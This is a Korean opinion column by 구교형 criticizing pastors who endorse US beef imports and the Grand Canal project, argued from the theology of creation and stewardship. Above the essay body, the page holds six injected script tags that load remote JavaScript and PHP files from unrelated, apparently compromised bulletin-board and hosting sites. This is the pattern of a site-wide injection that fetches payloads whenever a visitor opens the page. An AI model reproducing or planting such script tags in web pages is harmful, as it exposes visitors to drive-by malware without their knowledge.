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칼럼 [구교형칼럼] 대운하는 창조질서 무시하는 바알주의의 열매[뉴스파워05/28]

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작성자 by 관리자 / 작성일08-05-28 14:56 / 조회 4,146 / 댓글 0

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<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script>                            <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script>          <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script>                              <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script>                                                    <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script>    대운하는 창조질서 무시하는 바알주의의 열매 
 
“미국 앞에서는 하나님도, 백성도 보이지 않는 목사들” 
 
구교형 
 
 
 
1. 미친 건 소가 아니라 사람이다.

‘미친 소’라고? 돈에 눈이 멀어 사람이 미친 건데, 왜 엉뚱하게 소를 미쳤다고 하고, 죄는 우리 인간이 지어놓고 해마다 엉뚱한 닭과 오리들만 생매장한다. 우리가 미쳤는데, 애매한 가축들이 수난이다. 그런데 엉뚱하게도 목사라는 사람들은 하나님이 지으신 창조질서를 아름답게 지키지 못한 죄를 참회하기는커녕, 스스로 청와대 대변인과 미국 쇠고기 수출업자가 되어 미국 쇠고기를 선전해 주고 있으니 목사들이 미친 게 아닌가?

몇몇 목사들은 요즘 미국 쇠고기 관련 촛불집회가 일부 언론의 선동에 부화뇌동한 어린아이들의 철없는 행동이라는 식의 설교를 했다. 심지어 조용기 목사는 이를 사탄적이며, 반미적 행동이라고까지 매도하였다. 또 지금도 기독교계 신문들을 보면 이러한 발언에 동조하는 목사들의 기고문들이 수두룩하다. 나 자신 이 문제들에 대해 분명 입장이 있지만, 여기서 정책적 논란에 가세하고 싶지 않다. 나는 어떤 목사들이 소위 보수적 입장을 갖고 미국 쇠고기 수입을 찬성하고, 한반도 대운하 건설을 찬성하는 것에 시비를 걸 생각이 없다.

그러나 적어도 목사가 이 땅의 한편 백성들을 가리켜 철부지니, 반미주의자니, 심지어 사탄적이니 할 때는 청와대 대변인 같은 논리를 넘는 분명한 근거가 있어야 한다. 적어도 신학적 정당성, 성경적 근거만큼은 분명히 밝혀야 하는 것이 아닌가? 그러나 그들이 하나님께로부터 그 어떤 직통계시를 받았는지 모르나 나는 그런 주장을 쏟아내는 그 어떤 분에게서도 쇠고기 수입과 대운하 추진의 신학적, 성경적 근거를 들은 적이 없다.

그 분들이나 나나 교회가 세상에 대한 올바른 책임을 져야 할 사명이 있다는 점에서는 같으나, 우리의 발언이 정말 기독교인과 목사로서의 발언이라면 표면적인 보수나 진보, 수입 찬성이나 반대, 친미나 반미 같은 형식적 구분을 넘어 분명한 신학적, 성경적 근거를 제시해야 한다.

2. 창조신앙과 구속신앙은 복음의 두 축이다.

이 세상에 대한 하나님 우주적 경륜은 항상 두 축을 바탕으로 하고 있다.

하나는 창조신앙(고백)이요, 다른 하나는 구속신앙(고백)이다. 이 둘은 어느 하나가 다른 하나를 대체할 수 없는 하나님의 경륜의 기본적인 두 뼈대다. 그런데 우리는 마음대로 창조신앙은 무시하고, 복음의 전부는 오직 구속신앙 뿐이라고 믿고 있다. 왜곡이다. 실제로 창조신앙과 구속신앙은 함께 어우러져 복음의 뼈대를 이루고 있다.

하나님이 태초에 사람을 지으시고 에덴동산에 두셨을 때 그에게는 한 가지 대단히 중요한 사명이 부여되었으니, 바로 하나님께서 지으신 온 세상을 하나님의 뜻대로 멋지게 다스려 가는 것이다(창 1:26~28). 그러므로 기독교 탄생 이후 지금껏 오해해 왔듯이 만물과 모든 자연은 인간이 멋대로 남용해도 좋은 도구도, 배경도 아니다. 실제로 아담과 하와가 타락하기 전까지 그 임무는 성실히 수행되었다(창 2:19). 그러나 그들이 하나님께 죄를 짓고 타락했을 때 이미 하나님의 창조질서 전반에 죄의 영향이 파고들기 시작했기에 모든 만물은 함께 오염되고 만다(창세기 3:7, 8, 10, 12, 13, 14-19).

그러므로 구원이란 하나님께 복종하며 세상을 다스려야할 인간이 다시 하나님께 돌아옴으로써 위대한 회복의 첫 걸음을 떼는 것으로부터 마땅히 시작하지만(롬 8:1, 11), 거기서 끝나지 않고 모든 피조물과 피조세계 전부가 다시 하나님이 보시기에 좋았던 모습으로 회복되는  것(롬 8:19~22)을 총체적으로 가리키는 것이다(사 65:17~25). 이처럼 하나님의 구원은 우리 인간을 넘어 온 피조만물을 다 포괄하고 있는 우주적인 것이다. 따라서 복음이란 그저 개인적 회심에서 그칠 일이 아니라, 모든 피조세계에 두루 미칠 기쁜 소식이다. 그래서 총체적 복음(Whole Gospel)이다.

3. 광우병과 AI는 하나님의 창조질서를 어긴 탐욕의 결과다.

아직도 발병물질 규명에 대해서는 여러 이야기들이 있지만, 분명한 것은 풀을 먹어야할 초식동물 소에게 육식사료, 그것도 동족 소의 뼈와 척수를 갈아 만든 먹이를 주는 것이 광우병의 주요발병 원인으로 알려져 있다. 도무지 잡아내지 못하는 조류독감(AI)도 이미 생명체가 아닌 한낱 생산품 취급을 받는 닭과 오리를 좁은 공간에 몰아넣고 공장사료로 먹이면서 생겨난 인간 탐욕의 재앙이다.

우리가 정말 하나님의 종이요, 목사라면 미국 소의 안전성을 말하기 전에 빠른 시간 안에 고기를 만들기 위해 하나님의 창조질서를 어기고 초식동물 소에게 동족사료를 주어야 하는 기업화된 낙농문화에 탄식해야 하지 않을까? 광우병도, AI도 바로 인간 타락 이후 불가피하게 고기를 허용하되, 지나친 남획을 막아야할 하나님의 창조질서(창 9:3~4, 출 23:19)의 금령을 깨뜨리고, 죄된 욕망을 끝없이 만족시키기 위해 가축들에게 최소한의 예의도 갖추지 못한 목축과 도축산업으로 인해 발생하는 자업자득이 아닌가?

그런데 이에 대한 아픔이 전혀 없이, 우리 목사들은 그저 무한한 산업발전과 성장의 전도사가 되어 있다. 아담의 범죄로 인하여 창조질서가 함께 저주를 당했듯이, 욕심은 인간이 부렸는데 죄값은 소와 닭과 오리가 받고 있다. 이런 기막힌 현실도 모르고, 국가경쟁력만 부르짖는 목사들 앞에서 짐승들이 탄식한다(롬 8:19~22). 이명박 대통령이나 창조질서를 모르는 목사들의 생각과는 다르게 하나님은 소에게도, 닭에게도, 개에게도 각자 번성하며 살아갈 생명과, 몫과, 값어치를 주셨다(욥 38~41장). 그러므로 하나님이 지으신 생명체들이 살아가는 이치들을 겸손히 바라보면 인간은 감히 힘을 남용할 수 없으며, 그 놀라운 창조질서에 머리 숙이게 된다(욥 39:13~27).

하나님이 인간을 하나님의 청지기로 삼으시고 불가피하게 육식을 허용하셨지만, 여전히 인간은 우주의 참된 주인이 아니며(욥 41:11), 동식물과 만물들이 그저 인간만 위해 존재하는 것도 아니며 우리 좋을 대로 멋대로 길들일 수도 없는 것이다(욥 39:9~12, 41:1~9). 그러므로 짐승들을 포함한 모든 생명들의 존엄성과 값어치를 인정하는 것이 곧 하나님의 은혜를 인정하는 것이다(레 25:6, 7). 반대로 짐승들의 그 권리를 빼앗는 것은 하나님을 거역하는 것이다(욥 38:41, 마 6:26, 30).

4. 창조, 생명, 보호보다 개발, 성장, 무한증식을 설교하는 목사들

한국교회 목회자들의 설교를 들어보라. 언제부터인가 한국교회 강단에는 하나님의 창조, 생명존중의 외침은 없어졌고, 무한경쟁, 성장, 경제발전, 개발을 외치는 새마을운동 구호만 들려오고 있다.

개발, 성장, 경제발전 제일주의 아래서는 사람도, 짐승도 본래 그 창조된 가치로 보이지 않고, 그저 산업적 가치로만 보이게 되어 있다. 한반도운하라는 게 본래 하나님이 각 강마다  주신 자연생태가 다르고, 서식 생물이 다른 것을 단지 경제성장과 산업적 이해득실만 따져 하나로 합쳐 거대한 저수지를 만들겠다는 것인데도, 한국교회 목사들은 별다른 고민 없이 운하의 물길을 찬양하고 있다. 문명의 발전과 성장의 미명 아래 하나님의 창조질서를 멋대로 바꾸고 자르고 붙이는 것을 보면서도, 인간복제와 동성애만 아니면 모든 것이 다 괜찮다고 생각하는 것 같다. 그러나 당장 눈에 보이는 손해만 없으면 사람 마음대로 다해도 된다는 사고야말로 인본주의다.

그러므로 오늘날 경제만능신화에 기반한 신자유주의에 문제를 제기하는 것은 결코 보수냐 진보냐, 자본주의냐 공산주의냐의 문제가 아니다. 우리의 문명이 과연 하나님을 향하고 있는지, 하나님의 질서를 정면으로 역행하고 있는지의 근원을 묻는 것이다(창 6:5, 6, 11:4~6). 그런데 목사가 그 근원을 말하기도 전에 세계화의 대세니, 비교우위니, 성장을 말한다는 게 어디 될 일인가? 그런데 한국교회 목사들은 그게 된다.

‘돈이면 다 된다’ ‘강한 것이 아름답다’는 바알적 사고방식이 이미 대세를 이루어 세상을 지배하고 있는데, “약한 그리스도인이 그걸 거슬러 무엇인들 할 수 있겠느냐”고 서둘러 합리화하지 말자. 이를 거스를 믿음과 용기, 자신이 없다면 차라리 침묵하라. 어찌 앞장서서 “대세를 따르자”고 말하며 하나님의 질서를 파괴하는데 앞장서는가? 그저 목숨하나 지키기 위해 마지못해 따라간 걸 친일이라고 말 할 수 있느냐고 항변하기 전에, 앞장서서 내선일체, 천황의 적자를 부르짖으며 젊은이들을 정신대로, 전쟁터로, 군수공장으로 내 몰았던 교회지도자이 있었음을 인정해야 하는 것처럼, 대세라는 이름 아래 창조질서의 가치를 함부로 포기하며 변명하지 말아야 할 것이다.

이 땅에 자칭 교회 원로라는 분들도 국론통합을 말하면서도 여전히 ‘철없는 반미주의’(?)를 염려했다고 한다. 효순이 미선이 사건을 보며 생떼 같은 아이들이 죽은 아픔보다 반미 감정을 두려워하는 이 땅의 목회자들, 미국 쇠고기의 광우병 위험을 들으면서도 먹거리의 심각성을 느끼기보다 혹시 미국에 불똥이라도 튈까봐 염려가 앞서는 한국교회 목회자들을 보면서 아이들은 자신의 생명이 존중받지 못함을 느껴 분노하는 것이다. 읽어버린 한 마리 어린 양에 대한 심정이 없으면 우리가 어떻게 목사라고 할 것인가? 미국을 지켜주기 위해 주님의 목자적 심정을 잃어버린다면(마 9:36, 요 10:11~15) 목사라는 호칭은 허망해 진다.

찬란한 영광은 있지만 감당해야할 십자가는 없는 설교, 구원의 은혜는 누리기 원하면서도 창조세계에 대한 책임은 망각한 설교. 이러한 설교들은 그저 보수나 진보의 문제가 아니라 이건 영적인 문제요, 우상숭배의 문제이다. 하나님과 백성들 앞에서 목사가 먼저 회개해야 한다.


※이 글을 몇몇 인터넷 사이트에 함께 기고합니다.
 
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